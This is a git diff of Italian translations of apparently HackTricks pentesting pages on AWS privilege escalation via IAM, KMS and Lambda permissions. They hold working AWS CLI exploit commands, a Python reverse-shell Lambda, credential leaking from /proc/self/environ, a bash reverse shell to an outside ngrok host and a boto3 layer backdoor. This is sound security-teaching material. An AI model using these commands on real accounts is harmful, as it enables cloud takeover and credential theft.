 ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
 
-Consente di creare o aggiornare un profilo di accesso, inclusa la configurazione delle password per l'accesso alla console AWS, portando a un'escalation diretta dei privilegi.
+Consente di creare o aggiornare un profilo di accesso (login profile), inclusa l'impostazione delle password per l'accesso alla console AWS, portando a privilege escalation diretta.
 
-**Sfruttamento per la Creazione:**
+**Exploit for Creation:**
 ```bash
 aws iam create-login-profile --user-name target_user --no-password-reset-required \
 --password '<password>'
 ```
-**Sfruttamento per Aggiornamento:**
+**Exploit per Aggiornamento:**
 ```bash
 aws iam update-login-profile --user-name target_user --no-password-reset-required \
 --password '<password>'
 ```
-**Impatto:** Escalation diretta dei privilegi accedendo come "qualsiasi" utente.
+**Impatto:** Escalazione diretta dei privilegi effettuando l'accesso come utente "qualsiasi".
 
 ### **`iam:UpdateAccessKey`**
 
-Consente di abilitare una chiave di accesso disabilitata, portando potenzialmente a un accesso non autorizzato se l'attaccante possiede la chiave disabilitata.
+Consente di abilitare una access key disabilitata, potenzialmente causando accessi non autorizzati se l'attaccante è in possesso della chiave disabilitata.
 
-**Sfrutta:**
+**Exploit:**
 ```bash
 aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
 ```
-**Impatto:** Escalation diretta dei privilegi riattivando le chiavi di accesso.
+**Impatto:** Escalation diretta dei privilegi riattivando le access keys.
 
 ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
 
-Consente di generare o ripristinare credenziali per servizi AWS specifici (ad es., CodeCommit, Amazon Keyspaces), ereditando i permessi dell'utente associato.
+Consente di generare o reimpostare credenziali per servizi AWS specifici (ad es., CodeCommit, Amazon Keyspaces), ereditando i permessi dell'utente associato.
 
-**Sfruttamento per la Creazione:**
+**Exploit for Creation:**
 ```bash
 aws iam create-service-specific-credential --user-name <username> --service-name <service>
 ```
-**Sfruttamento per Reset:**
+**Exploit per Reset:**
 ```bash
 aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
 ```
-**Impatto:** Escalation diretta dei privilegi all'interno delle autorizzazioni del servizio dell'utente.
+**Impatto:** Elevazione diretta dei privilegi nelle autorizzazioni di servizio dell'utente.
 
 ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
 
-Consente di allegare politiche a utenti o gruppi, aumentando direttamente i privilegi ereditando le autorizzazioni della politica allegata.
+Consente di associare policy a utenti o gruppi, causando un'elevazione diretta dei privilegi ereditando i permessi della policy associata.
 
-**Sfrutta per l'utente:**
+**Exploit for User:**
 ```bash
 aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
 ```
-**Sfruttamento per Gruppo:**
+**Exploit per Gruppo:**
 ```bash
 aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
 ```
-**Impatto:** Escalation diretta dei privilegi a qualsiasi cosa concessa dalla policy.
+**Impatto:** Escalation di privilegi diretta verso tutto ciò che la policy concede.
 
 ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
 
-Consente di allegare o impostare policy a ruoli, utenti o gruppi, abilitando l'escalation diretta dei privilegi concedendo permessi aggiuntivi.
+Permette di allegare o inserire policy a ruoli, utenti o gruppi, abilitando un'escalation di privilegi diretta concedendo permessi aggiuntivi.
 
-**Sfrutta per Ruolo:**
+**Exploit per il ruolo:**
 ```bash
 aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
 ```
-**Sfruttamento per le Politiche Inline:**
+**Exploit per Inline Policies:**
 ```bash
 aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
 --policy-document "file:///path/to/policy.json"
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
 aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
 --policy-document file:///path/to/policy.json
 ```
-Puoi utilizzare una policy come:
+Puoi usare una policy come:
 ```json
 {
 "Version": "2012-10-17",
@@ -127,28 +127,28 @@ Puoi utilizzare una policy come:
 ]
 }
 ```
-**Impatto:** Escalation diretta dei privilegi aggiungendo permessi tramite politiche.
+**Impatto:** Escalation diretta dei privilegi aggiungendo permessi tramite policy.
 
 ### **`iam:AddUserToGroup`**
 
-Consente di aggiungere se stessi a un gruppo IAM, aumentando i privilegi ereditando i permessi del gruppo.
+Consente di aggiungere se stessi a un gruppo IAM, ottenendo elevazione dei privilegi ereditando i permessi del gruppo.
 
-**Sfruttamento:**
+**Exploit:**
 ```bash
 aws iam add-user-to-group --group-name <group_name> --user-name <username>
 ```
-**Impatto:** Escalation diretta dei privilegi al livello delle autorizzazioni del gruppo.
+**Impatto:** Escalation diretta dei privilegi al livello dei permessi del gruppo.
 
 ### **`iam:UpdateAssumeRolePolicy`**
 
-Consente di modificare il documento della policy di assunzione del ruolo, abilitando l'assunzione del ruolo e le sue autorizzazioni associate.
+Consente di modificare il documento assume role policy di un ruolo, permettendo di assumere il ruolo e i permessi associati.
 
-**Sfruttamento:**
+**Exploit:**
 ```bash
 aws iam update-assume-role-policy --role-name <role_name> \
 --policy-document file:///path/to/assume/role/policy.json
 ```
-Dove la policy appare come segue, che concede all'utente il permesso di assumere il ruolo:
+Quando la policy è simile alla seguente, che concede all'utente il permesso di assumere il role:
 ```json
 {
 "Version": "2012-10-17",
@@ -163,17 +163,17 @@ Dove la policy appare come segue, che concede all'utente il permesso di assumere
 ]
 }
 ```
-**Impatto:** Escalation diretta dei privilegi assumendo i permessi di qualsiasi ruolo.
+**Impatto:** Escalation di privilegi diretta assumendo i permessi di qualsiasi ruolo.
 
 ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
 
-Consente di caricare una chiave pubblica SSH per l'autenticazione a CodeCommit e di disattivare i dispositivi MFA, portando a una potenziale escalation indiretta dei privilegi.
+Permette il caricamento di una SSH public key per l'autenticazione a CodeCommit e la disattivazione di dispositivi MFA, portando a una potenziale escalation di privilegi indiretta.
 
-**Sfruttamento per il caricamento della chiave SSH:**
+**Exploit per SSH Key Upload:**
 ```bash
 aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
 ```
-**Sfruttamento per la disattivazione di MFA:**
+**Exploit per la disattivazione dell'MFA:**
 ```bash
 aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
 ```
@@ -181,20 +181,20 @@ aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_num
 
 ### **`iam:ResyncMFADevice`**
 
-Consente la risincronizzazione di un dispositivo MFA, portando potenzialmente a un'escalation di privilegi indiretta manipolando la protezione MFA.
+Consente la resincronizzazione di un dispositivo MFA, potenzialmente portando a un'escalation di privilegi indiretta manipolando la protezione MFA.
 
 **Comando Bash:**
 ```bash
 aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
 --authentication-code1 <code1> --authentication-code2 <code2>
 ```
-**Impatto:** Escalation di privilegi indiretta aggiungendo o manipolando i dispositivi MFA.
+**Impatto:** Escalation indiretta dei privilegi aggiungendo o manipolando dispositivi MFA.
 
 ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
 
-Con questi permessi puoi **cambiare i metadati XML della connessione SAML**. Poi, potresti abusare della **federazione SAML** per **accedere** con qualsiasi **ruolo che lo sta fidando**.
+Con queste autorizzazioni puoi **modificare i metadati XML della connessione SAML**. Poi, potresti abusare della **federazione SAML** per **login** con qualsiasi **ruolo che la considera attendibile**.
 
-Nota che facendo questo **gli utenti legittimi non potranno accedere**. Tuttavia, potresti ottenere l'XML, così puoi inserire il tuo, accedere e configurare il precedente.
+Nota che eseguendo questa operazione **gli utenti legittimi non potranno effettuare il login**. Tuttavia, puoi ottenere l'XML, quindi puoi inserire il tuo, effettuare il login e ripristinare la configurazione precedente.
 ```bash
 # List SAMLs
 aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
 aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
 ```
 > [!NOTE]
-> TODO: Uno strumento in grado di generare i metadati SAML e accedere con un ruolo specificato
+> TODO: Uno strumento in grado di generare i metadati SAML e fare il login con un role specificato
 
 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
 
-(Non sicuro di questo) Se un attaccante ha questi **permessi** potrebbe aggiungere un nuovo **Thumbprint** per riuscire ad accedere a tutti i ruoli che si fidano del provider.
+(Da verificare) Se un attaccante ha queste **permissions** potrebbe aggiungere un nuovo **Thumbprint** per riuscire a effettuare il login in tutti i roles che si fidano del provider.
 ```bash
 # List providers
 aws iam list-open-id-connect-providers
@@ -224,8 +224,12 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
 # Update Thumbprints (The thumbprint is always a 40-character string)
 aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
 ```
+### `iam:PutUserPermissionsBoundary`
+
+Questo permesso consente a un attaccante di aggiornare il permissions boundary di un user, potenzialmente aumentando i suoi privilegi e permettendogli di eseguire azioni che normalmente sono limitate dai permessi esistenti.
+
 ## Riferimenti
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md
similarity index 63%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md
index 9f43c8b5f..55b95e090 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md
@@ -1,18 +1,18 @@
 # AWS - KMS Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## KMS
 
-Per ulteriori informazioni su KMS controlla:
+Per maggiori informazioni su KMS consulta:
 
 {{#ref}}
-../aws-services/aws-kms-enum.md
+../../aws-services/aws-kms-enum.md
 {{#endref}}
 
 ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`)
 
-Con questi permessi è possibile **modificare i permessi di accesso alla chiave** in modo che possa essere utilizzata da altri account o addirittura da chiunque:
+Con queste autorizzazioni è possibile **modificare le autorizzazioni di accesso alla chiave** in modo che possa essere utilizzata da altri account o persino da chiunque:
 ```bash
 aws kms list-keys
 aws kms list-key-policies --key-id <id> # Although only 1 max per key
@@ -49,7 +49,7 @@ policy.json:
 ```
 ### `kms:CreateGrant`
 
-Consente a un principale di utilizzare una chiave KMS:
+**Consente** a un principal di usare una KMS key:
 ```bash
 aws kms create-grant \
 --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
@@ -60,8 +60,8 @@ aws kms create-grant \
 > Un grant può consentire solo determinati tipi di operazioni: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
 
 > [!WARNING]
-> Nota che potrebbero volerci un paio di minuti affinché KMS **consenta all'utente di utilizzare la chiave dopo che il grant è stato generato**. Una volta trascorso quel tempo, il principale può utilizzare la chiave KMS senza dover specificare nulla.\
-> Tuttavia, se è necessario utilizzare il grant immediatamente [usa un grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (controlla il codice seguente).\
+> Nota che potrebbe volerci un paio di minuti perché KMS **consenta all'utente di usare la KMS key dopo che il grant è stato generato**. Una volta trascorso quel tempo, il principal può usare la KMS key senza dover specificare nulla.\
+> Tuttavia, se è necessario usare il grant subito [usa un grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (controlla il codice seguente).\
 > Per [**maggiori informazioni leggi questo**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
 ```bash
 # Use the grant token in a request
@@ -76,9 +76,9 @@ aws kms list-grants --key-id <value>
 ```
 ### `kms:CreateKey`, `kms:ReplicateKey`
 
-Con questi permessi è possibile replicare una chiave KMS abilitata per più regioni in una regione diversa con una politica diversa.
+Con queste autorizzazioni è possibile replicare una KMS key abilitata per multi-region in una regione diversa con una policy differente.
 
-Quindi, un attaccante potrebbe abusare di questo per ottenere privesc il suo accesso alla chiave e usarla.
+Quindi, un attacker potrebbe abusarne per ottenere privesc, appropriarsi dell'accesso alla KMS key e usarla
 ```bash
 aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
 
@@ -100,11 +100,11 @@ aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-re
 ```
 ### `kms:Decrypt`
 
-Questo permesso consente di utilizzare una chiave per decrittografare alcune informazioni.\
-Per ulteriori informazioni controlla:
+Questa autorizzazione consente di usare una key per decrypt alcune informazioni.\
+Per maggiori informazioni consulta:
 
 {{#ref}}
-../aws-post-exploitation/aws-kms-post-exploitation.md
+../../aws-post-exploitation/aws-kms-post-exploitation/README.md
 {{#endref}}
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
similarity index 54%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
index 6758b1b25..59da9c567 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
@@ -1,22 +1,22 @@
 # AWS - Lambda Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## lambda
 
 Maggiori informazioni su lambda in:
 
 {{#ref}}
-../aws-services/aws-lambda-enum.md
+../../aws-services/aws-lambda-enum.md
 {{#endref}}
 
 ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
 
-Gli utenti con le autorizzazioni **`iam:PassRole`, `lambda:CreateFunction` e `lambda:InvokeFunction`** possono ottenere un'escalation dei privilegi.\
-Possono **creare una nuova funzione Lambda e assegnarle un ruolo IAM esistente**, concedendo alla funzione i permessi associati a quel ruolo. L'utente può quindi **scrivere e caricare codice in questa funzione Lambda (ad esempio con una rev shell)**.\
-Una volta impostata la funzione, l'utente può **avviarne l'esecuzione** e le azioni previste invocando la funzione Lambda tramite l'API AWS. Questo metodo consente all'utente di eseguire compiti indirettamente tramite la funzione Lambda, agendo con il livello di accesso concesso dal ruolo IAM associato.\\
+Gli utenti con le autorizzazioni **`iam:PassRole`, `lambda:CreateFunction` e `lambda:InvokeFunction`** possono elevare i loro privilegi.\
+Possono **creare una nuova Lambda function e assegnarle un IAM role esistente**, concedendo alla funzione i permessi associati a quel role. L'utente può quindi **scrivere e caricare codice in questa Lambda function (ad esempio con una rev shell)**.\
+Una volta che la funzione è configurata, l'utente può **avviarne l'esecuzione** e le azioni desiderate invocando la Lambda function tramite l'AWS API. Questo approccio permette efficacemente all'utente di eseguire compiti indirettamente tramite la Lambda function, operando con il livello di accesso concesso dall'IAM role associato.\\
 
-Un attaccante potrebbe abusarne per ottenere una **rev shell e rubare il token**:
+Un attacker potrebbe abusarne per ottenere una **rev shell e rubare il token**:
 ```python:rev.py
 import socket,subprocess,os,time
 def lambda_handler(event, context):
@@ -47,7 +47,7 @@ aws lambda invoke --function-name my_function output.txt
 aws iam list-attached-user-policies --user-name <user-name>
 ```
 Potresti anche **abuse the lambda role permissions** dalla lambda function stessa.\
-Se la lambda role avesse abbastanza permissions potresti usarla per concederti admin rights:
+Se il lambda role avesse sufficienti permissions potresti usarlo per concederti admin rights:
 ```python
 import boto3
 def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
 )
 return response
 ```
-È anche possibile ottenere un leak delle credenziali del ruolo della lambda senza necessitare di una connessione esterna. Questo sarebbe utile per **Network isolated Lambdas** usate per attività interne. Se ci sono security groups sconosciuti che filtrano i tuoi reverse shells, questo pezzo di codice ti permetterà di effettuare il leak delle credenziali direttamente come output della lambda.
+È anche possibile ottenere un leak delle credenziali del ruolo della lambda senza necessità di una connessione esterna. Questo può essere utile per **Network isolated Lambdas** usate per attività interne. Se ci sono security groups sconosciuti che filtrano i tuoi reverse shells, questo pezzo di codice ti permetterà di ottenere direttamente il leak delle credenziali come output della lambda.
 ```python
 def handler(event, context):
 sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,10 +72,10 @@ return {
 aws lambda invoke --function-name <lambda_name> output.txt
 cat output.txt
 ```
-**Potential Impact:** Direct privesc al ruolo di servizio lambda arbitrario specificato.
+**Impatto Potenziale:** Privesc diretto al ruolo di servizio lambda arbitrario specificato.
 
 > [!CAUTION]
-> Nota che, anche se può sembrare interessante, **`lambda:InvokeAsync`** **non** permette da solo di **eseguire `aws lambda invoke-async`**, è necessario anche `lambda:InvokeFunction`
+> Nota che anche se può sembrare interessante **`lambda:InvokeAsync`** **non** permette da solo di **eseguire `aws lambda invoke-async`**, è necessario anche `lambda:InvokeFunction`
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
 
@@ -85,14 +85,14 @@ Come nello scenario precedente, puoi **concederti il permesso `lambda:InvokeFunc
 aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
 --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
 ```
-**Impatto potenziale:** Privesc diretto al ruolo di servizio lambda arbitrario specificato.
+**Impatto potenziale:** Privesc diretto al ruolo di servizio Lambda arbitrario specificato.
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
 
-Gli utenti con le autorizzazioni **`iam:PassRole`, `lambda:CreateFunction`, e `lambda:CreateEventSourceMapping`** (e potenzialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) possono indirettamente **escalate privileges** anche senza `lambda:InvokeFunction`.\
-Possono creare una **funzione Lambda con codice malevolo e assegnarle un ruolo IAM esistente**.
+Utenti con i permessi **`iam:PassRole`, `lambda:CreateFunction` e `lambda:CreateEventSourceMapping`** (e potenzialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) possono indirettamente **escalate privileges** anche senza `lambda:InvokeFunction`.\  
+Possono creare una **funzione Lambda con codice dannoso e assegnarle un ruolo IAM esistente**.
 
-Invece di invocare direttamente la Lambda, l'utente crea o utilizza una tabella DynamoDB esistente, collegandola alla Lambda tramite un event source mapping. Questa configurazione assicura che la funzione Lambda venga **attivata automaticamente all'inserimento di un nuovo item** nella tabella, sia tramite l'azione dell'utente sia tramite un altro processo, invocando così indirettamente la funzione Lambda ed eseguendo il codice con le autorizzazioni del ruolo IAM passato.
+Invece di invocare direttamente la funzione Lambda, l'utente configura o utilizza una tabella DynamoDB esistente, collegandola alla Lambda tramite un event source mapping. Questa configurazione assicura che la funzione Lambda venga **attivata automaticamente all'inserimento di un nuovo item** nella tabella, sia per azione dell'utente sia per un altro processo, innescando quindi indirettamente la funzione Lambda ed eseguendo il codice con i permessi del ruolo IAM passato.
 ```bash
 aws lambda create-function --function-name my_function \
 --runtime python3.8 --role <arn_of_lambda_role> \
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
 --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
 ```
-Ora è possibile **collegare la Lambda function alla DynamoDB table** creando **un event source mapping**:
+Ora è possibile **collegare la funzione Lambda alla tabella DynamoDB** creando **un event source mapping**:
 ```bash
 aws lambda create-event-source-mapping --function-name my_function \
 --event-source-arn <arn_of_dynamodb_table_stream> \
 --enabled --starting-position LATEST
 ```
-Con la funzione Lambda collegata allo stream di DynamoDB, l'attaccante può **attivare indirettamente la Lambda attivando lo stream di DynamoDB**. Questo può essere fatto **inserendo un item** nella tabella DynamoDB:
+Con la funzione Lambda collegata allo stream di DynamoDB, l'attaccante può **innescare indirettamente la Lambda attivando lo stream di DynamoDB**. Questo può essere fatto **inserendo un elemento** nella tabella DynamoDB:
 ```bash
 aws dynamodb put-item --table-name my_table \
 --item Test={S="Random string"}
 ```
-**Impatto potenziale:** Privesc diretto al ruolo di servizio lambda specificato.
+**Potenziale impatto:** Privesc diretto al ruolo di servizio lambda specificato.
 
 ### `lambda:AddPermission`
 
-Un attacker con questo permesso può **concedersi (o concedere ad altri) qualsiasi permesso** (questo genera resource based policies per concedere accesso alla risorsa):
+Un attacker con questa autorizzazione può **assegnarsi (o assegnare ad altri) qualsiasi permesso** (questo genera resource based policies per concedere accesso alla risorsa):
 ```bash
 # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
 aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -130,7 +130,7 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
 # Invoke the function
 aws lambda invoke --function-name <func_name> /tmp/outout
 ```
-**Impatto potenziale:** Direct privesc al ruolo di servizio lambda ottenuto concedendo il permesso di modificare il codice e di eseguirlo.
+**Impatto potenziale:** Privesc diretto al ruolo di servizio di lambda, ottenuto concedendo il permesso di modificare il codice e di eseguirlo.
 
 ### `lambda:AddLayerVersionPermission`
 
@@ -139,14 +139,14 @@ Un attacker con questo permesso può **concedersi (o concedere ad altri) il perm
 # Give everyone the permission lambda:GetLayerVersion
 aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
 ```
-**Potential Impact:** Potenziale accesso a informazioni sensibili.
+**Impatto potenziale:** Potenziale accesso a informazioni sensibili.
 
 ### `lambda:UpdateFunctionCode`
 
-Gli utenti che possiedono il permesso **`lambda:UpdateFunctionCode`** possono **modificare il codice di una funzione Lambda esistente associata a un ruolo IAM.**\
-L'attaccante può **modificare il codice della Lambda per exfiltrate the IAM credentials**.
+Utenti che possiedono il permesso **`lambda:UpdateFunctionCode`** possono **modificare il codice di una funzione Lambda esistente collegata a un ruolo IAM.**\
+L'attaccante può **modificare il codice della funzione Lambda per esfiltrare le credenziali IAM**.
 
-Sebbene l'attaccante potrebbe non avere la capacità diretta di invocare la funzione, se la funzione Lambda è già esistente e operativa, è probabile che venga attivata tramite workflow o eventi esistenti, facilitando così indirettamente l'esecuzione del codice modificato.
+Anche se l'attaccante potrebbe non avere la capacità diretta di invocare la funzione, se la funzione Lambda è preesistente e operativa, è probabile che venga attivata tramite workflow o eventi esistenti, facilitando così indirettamente l'esecuzione del codice modificato.
 ```bash
 # The zip should contain the lambda code (trick: Download the current one and add your code there)
 aws lambda update-function-code --function-name target_function \
@@ -163,11 +163,11 @@ aws lambda invoke --function-name my_function output.txt
 
 #### RCE tramite variabili d'ambiente
 
-Con questi permessi è possibile aggiungere variabili d'ambiente che provocheranno l'esecuzione della Lambda di codice arbitrario. Ad esempio, in python è possibile abusare delle variabili d'ambiente `PYTHONWARNING` e `BROWSER` per far eseguire a un processo python comandi arbitrari:
+Con questi permessi è possibile aggiungere variabili d'ambiente che faranno eseguire al Lambda codice arbitrario. Per esempio, in python è possibile abusare delle variabili d'ambiente `PYTHONWARNING` e `BROWSER` per far sì che un processo python esegua comandi arbitrari:
 ```bash
 aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
 ```
-Per altri linguaggi di scripting ci sono altre variabili d'ambiente che puoi usare. Per maggiori informazioni consulta le sottosezioni sui linguaggi di scripting in:
+Per altri linguaggi di scripting ci sono altre variabili d'ambiente che puoi usare. Per maggiori informazioni, consulta le sottosezioni sui linguaggi di scripting in:
 
 {{#ref}}
 https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
@@ -175,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc
 
 #### RCE via Lambda Layers
 
-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permette di includere **code** nella tua funzione lambda ma **conservarlo separatamente**, così il code della funzione può restare piccolo e **più funzioni possono condividere code**.
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) consente di includere **code** nella tua funzione Lambda ma **memorizzandolo separatamente**, così il codice della funzione può rimanere piccolo e **più funzioni possono condividere lo stesso codice**.
 
-All'interno di lambda puoi controllare i percorsi da cui viene caricato il python code con una funzione come la seguente:
+All'interno della funzione Lambda puoi verificare i percorsi da cui il codice python viene caricato con una funzione come la seguente:
 ```python
 import json
 import sys
@@ -185,7 +185,7 @@ import sys
 def lambda_handler(event, context):
 print(json.dumps(sys.path, indent=2))
 ```
-Questi sono i percorsi:
+These are the places:
 
 1. /var/task
 2. /opt/python/lib/python3.7/site-packages
@@ -198,24 +198,24 @@ Questi sono i percorsi:
 9. /opt/python/lib/python3.7/site-packages
 10. /opt/python
 
-Per esempio, la libreria boto3 viene caricata da `/var/runtime/boto3` (4th position).
+For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
 
-#### Exploitation
+#### Sfruttamento
 
-È possibile abusare del permesso `lambda:UpdateFunctionConfiguration` per **aggiungere un nuovo layer** a una funzione lambda. Per eseguire codice arbitrario, questo layer deve contenere una **libreria che la lambda importerà.** Se puoi leggere il codice della lambda, puoi individuarla facilmente; nota inoltre che potrebbe essere possibile che la lambda stia **già usando un layer** e potresti **scaricare** il layer e **inserirci il tuo codice**.
+È possibile abusare del permesso `lambda:UpdateFunctionConfiguration` per **aggiungere un nuovo layer** a una lambda function. Per eseguire codice arbitrario questo layer deve contenere qualche **library che la lambda importerà.** Se puoi leggere il codice della lambda, puoi trovare questo facilmente; nota anche che potrebbe essere possibile che la lambda sia **già usando un layer** e potresti **scaricare** il layer e **inserire il tuo codice** al suo interno.
 
-Per esempio, supponiamo che la lambda stia usando la libreria boto3; questo creerà un layer locale con l'ultima versione della libreria:
+Ad esempio, supponiamo che la lambda stia usando la library boto3; questo creerà un layer locale con l'ultima versione della library:
 ```bash
 pip3 install -t ./lambda_layer boto3
 ```
-Puoi aprire `./lambda_layer/boto3/__init__.py` e **aggiungere la backdoor nel codice globale** (una funzione per exfiltrate credentials o ottenere una reverse shell, per esempio).
+Puoi aprire `./lambda_layer/boto3/__init__.py` e **inserire la backdoor nel codice globale** (ad esempio una funzione per esfiltrare le credentials o ottenere una reverse shell).
 
-Poi, zippa la directory `./lambda_layer` e **carica il nuovo lambda layer** nel tuo account (o in quello della vittima, ma potresti non avere i permessi per questo).\
-Nota che devi creare una cartella python e mettere le librerie lì per sovrascrivere /opt/python/boto3. Inoltre, il layer deve essere **compatibile con la versione di python** usata dalla lambda e se lo carichi nel tuo account, deve essere nella **stessa regione:**
+Poi, zip la directory `./lambda_layer` e **carica il nuovo lambda layer** nel tuo account (o in quello della vittima, ma potresti non avere i permessi per questo).\
+Nota che devi creare una cartella python e mettere le librerie lì per sovrascrivere /opt/python/boto3. Inoltre, il layer deve essere **compatibile con la versione di python** usata dalla lambda e se lo carichi nel tuo account, deve trovarsi nella **stessa regione:**
 ```bash
 aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
 ```
-Ora rendi il lambda layer caricato **accessibile da qualsiasi account**:
+Ora, rendi il lambda layer caricato **accessibile da qualsiasi account**:
 ```bash
 aws lambda add-layer-version-permission --layer-name boto3 \
 --version-number 1 --statement-id public \
@@ -228,26 +228,26 @@ aws lambda update-function-configuration \
 --layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
 --timeout 300 #5min for rev shells
 ```
-Il passo successivo sarebbe o **invocare la funzione** noi stessi se possiamo oppure aspettare che **venga invocata** con mezzi normali — che è il metodo più sicuro.
+Il passo successivo sarebbe o **invocare la funzione** da noi se possibile o aspettare che **venga invocata** per vie normali — che è il metodo più sicuro.
 
-Un modo **più furtivo per sfruttare questa vulnerabilità** si trova in:
+Un modo più stealth per sfruttare questa vulnerabilità può essere trovato in:
 
 {{#ref}}
-../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
 {{#endref}}
 
-**Impatto potenziale:** Privesc diretto al ruolo di servizio lambda utilizzato.
+**Impatto potenziale:** Direct privesc al lambda service role usato.
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
 
